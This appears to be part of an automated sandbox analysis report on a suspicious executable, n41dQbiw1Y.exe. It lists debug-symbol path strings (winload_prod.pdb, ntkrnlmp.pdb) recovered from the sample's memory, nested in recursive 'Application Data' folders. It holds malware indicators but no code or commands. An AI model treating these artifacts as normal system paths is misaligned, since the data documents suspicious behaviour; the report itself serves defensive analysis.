Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\T source: n41dQbiw1Y.exe, 00000004.00000003.2385143991.000000000365E000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2385857931.0000000003661000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2350205257.00000000035A1000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2384668716.00000000035A5000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\ata\A source: n41dQbiw1Y.exe, 00000004.00000003.2503004701.00000000038B6000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2503615982.00000000038B9000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\\dy source: n41dQbiw1Y.exe, 00000004.00000003.2427745703.000000000369B000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2424259289.000000000361F000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2424701758.000000000368C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\L source: n41dQbiw1Y.exe, 00000004.00000003.2504232733.00000000039E0000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2509253380.0000000003A31000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2507744772.0000000003A10000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\Logs\ source: n41dQbiw1Y.exe, 00000004.00000003.2487388165.0000000003972000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2477445978.0000000003955000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2482249490.0000000003955000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2481338652.0000000003955000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\e$ source: n41dQbiw1Y.exe, 00000004.00000003.2481796921.00000000034FE000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2480023873.00000000034F3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\} source: n41dQbiw1Y.exe, 00000004.00000003.2385143991.000000000365E000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2385857931.0000000003661000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2350205257.00000000035A1000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2384668716.00000000035A5000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: sers\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb.azhi source: n41dQbiw1Y.exe, 00000004.00000003.2350866644.0000000002FE5000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2350768467.0000000002FD2000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\5 source: n41dQbiw1Y.exe, 00000004.00000003.2479854719.00000000038EB000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2479014137.00000000038B6000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2479453689.00000000038D7000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2479179745.00000000038B9000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\a\ source: n41dQbiw1Y.exe, 00000004.00000003.2445031684.00000000035CF000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2443616492.00000000035B9000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2443091697.000000000359C000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2443787722.00000000035CC000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ar source: n41dQbiw1Y.exe, 00000004.00000003.2503004701.00000000038B6000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2503615982.00000000038B9000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2512379483.00000000038C0000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2508743176.00000000038C2000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2512842174.00000000038C1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: n41dQbiw1Y.exe, 00000004.00000003.2477445978.0000000003955000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2473323826.0000000003985000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2482249490.0000000003955000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2481338652.0000000003955000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056 source: n41dQbiw1Y.exe, 00000004.00000003.2385355480.0000000003002000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2385444405.0000000003009000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2385479821.000000000300D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\a\\ source: n41dQbiw1Y.exe, 00000004.00000003.2509713380.0000000003A51000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2509253380.0000000003A31000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2507744772.0000000003A10000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\** source: n41dQbiw1Y.exe, 00000004.00000003.2517793723.0000000002FC8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: n Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\es\ source: n41dQbiw1Y.exe, 00000004.00000003.2416004876.000000000359D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\ntkrnlmp.pdb\ source: n41dQbiw1Y.exe, 00000004.00000003.2350365958.00000000034F1000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.1982658575.0000000003517000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2006006511.0000000003519000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2350696624.0000000003519000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\AC\O source: n41dQbiw1Y.exe, 00000004.00000003.2481128544.000000000350E000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2472330811.0000000003523000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2481182347.0000000003523000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2480023873.00000000034F3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\3 source: n41dQbiw1Y.exe, 00000004.00000003.2483028151.000000000392B000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2471889224.00000000038E3000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2445138231.00000000038E3000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2472632288.00000000038F5000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2477445978.0000000003913000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2473323826.0000000003913000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2444037934.00000000038B7000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2444677929.00000000038CB000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2443432510.00000000038A3000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2471556860.000000000389A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb< source: n41dQbiw1Y.exe, 00000004.00000003.2350653223.0000000003009000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2350608743.0000000003003000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\s source: n41dQbiw1Y.exe, 00000004.00000003.2417020079.0000000003873000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2424849270.0000000003873000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\* source: n41dQbiw1Y.exe, 00000004.00000003.2350365958.00000000034F1000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2384942285.0000000003586000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2384782477.000000000353A000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2350696624.0000000003519000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: n41dQbiw1Y.exe, 00000004.00000003.2005761860.0000000003058000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2386593352.0000000003678000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2385143991.000000000365E000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2385857931.0000000003661000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2350504130.0000000003058000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2350312868.000000000303D000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2350205257.00000000035A1000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2384668716.00000000035A5000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\p\| source: n41dQbiw1Y.exe, 00000004.00000003.2509182978.000000000366B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\ source: n41dQbiw1Y.exe, 00000004.00000003.2472330811.0000000003539000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2480023873.00000000034F3000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2480409399.0000000003538000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\p\\ source: n41dQbiw1Y.exe, 00000004.00000003.2386593352.0000000003678000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2385143991.000000000365E000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2385857931.0000000003661000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2350205257.00000000035A1000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2384668716.00000000035A5000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: n41dQbiw1Y.exe, 00000004.00000003.2507897466.000000000394A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\p\ source: n41dQbiw1Y.exe, 00000004.00000003.2445138231.00000000038E3000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2444037934.00000000038B7000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2444677929.00000000038CB000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2443432510.00000000038A3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\migkcoaX source: n41dQbiw1Y.exe, 00000004.00000003.2512068283.000000000359D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: WINLOA~1.PDBwinload_prod.pdbAppCache133408903214673664.txt~2d source: n41dQbiw1Y.exe, 00000004.00000003.2350866644.0000000002FE5000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2350768467.0000000002FD2000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\ source: n41dQbiw1Y.exe, 00000004.00000003.2472131223.00000000038B9000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2471889224.00000000038E3000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2445138231.00000000038E3000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2472632288.00000000038F5000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2473323826.0000000003913000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2444037934.00000000038B7000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2444677929.00000000038CB000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2443432510.00000000038A3000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2471556860.000000000389A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb413186015.txt source: n41dQbiw1Y.exe, 00000004.00000003.2350205257.00000000035A1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb_ source: n41dQbiw1Y.exe, 00000004.00000003.2350205257.00000000035A1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\t\ source: n41dQbiw1Y.exe, 00000004.00000003.2487388165.0000000003972000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2477445978.0000000003955000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2482249490.0000000003955000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2481338652.0000000003955000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdbA source: n41dQbiw1Y.exe, 00000004.00000003.2350205257.00000000035A1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: n41dQbiw1Y.exe, 00000004.00000003.2424849270.000000000390A000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2445138231.00000000038E3000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2444037934.00000000038B7000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2444677929.00000000038CB000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2443432510.00000000038A3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\ry\tio source: n41dQbiw1Y.exe, 00000004.00000003.2479854719.00000000038EB000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2479014137.00000000038B6000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2479453689.00000000038D7000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2479179745.00000000038B9000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\/ source: n41dQbiw1Y.exe, 00000004.00000003.1973252056.000000000301B000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2350566668.000000000301B000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.1983378419.0000000003002000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2005825176.0000000003011000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\\ source: n41dQbiw1Y.exe, 00000004.00000003.2487388165.0000000003972000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: n41dQbiw1Y.exe, 00000004.00000003.2417020079.0000000003873000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\che\wasm\in source: n41dQbiw1Y.exe, 00000004.00000003.2512068283.000000000359D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\zV source: n41dQbiw1Y.exe, 00000004.00000003.2480467233.0000000003002000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2480695259.0000000003005000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2445767147.0000000003002000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2473213369.0000000003003000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2473113322.0000000003002000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2444562524.0000000003002000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.errorhi source: n41dQbiw1Y.exe, 00000004.00000003.2350205257.00000000035A1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb.azhi1e6c4e842c100b150[2].xml.azhifb053169aeeefpplication Data\Application Data\Applicatio>HP source: n41dQbiw1Y.exe, 00000004.00000003.2472330811.0000000003539000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\*, source: n41dQbiw1Y.exe, 00000004.00000003.2386593352.0000000003678000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2385143991.000000000365E000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2385857931.0000000003661000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2350205257.00000000035A1000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2384668716.00000000035A5000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: BACKGR~2ntkrnlmp.pdbndTransferApiGroup source: n41dQbiw1Y.exe, 00000004.00000003.2350866644.0000000002FE5000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2350768467.0000000002FD2000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\e\ta\ source: n41dQbiw1Y.exe, 00000004.00000003.2473818043.00000000035B1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\3 source: n41dQbiw1Y.exe, 00000004.00000003.2487388165.0000000003972000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2493971115.00000000039BD000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2504791469.0000000003993000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\we\we\la source: n41dQbiw1Y.exe, 00000004.00000003.2515931129.000000000351D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb}r source: n41dQbiw1Y.exe, 00000004.00000003.2385195082.0000000003002000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2350653223.0000000003009000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2350608743.0000000003003000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\\\WO source: n41dQbiw1Y.exe, 00000004.00000003.2509605254.0000000003004000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2508964259.0000000003003000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\e\ta\\\ source: n41dQbiw1Y.exe, 00000004.00000003.2509713380.0000000003A51000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2509253380.0000000003A31000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2507744772.0000000003A10000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\n\ source: n41dQbiw1Y.exe, 00000004.00000003.2416110619.0000000003586000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2425625880.0000000003586000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2415801787.0000000003519000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2424259289.0000000003555000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2429958387.0000000003599000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2415552835.0000000003502000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\* source: n41dQbiw1Y.exe, 00000004.00000003.2504192573.0000000003004000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ source: n41dQbiw1Y.exe, 00000004.00000003.2487388165.0000000003972000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2493971115.00000000039BD000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2504791469.0000000003993000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: n41dQbiw1Y.exe, 00000004.00000003.2487388165.0000000003972000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2478629641.00000000039C7000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2493971115.00000000039BD000.00000004.00000020.00020000.00000000.sdmp
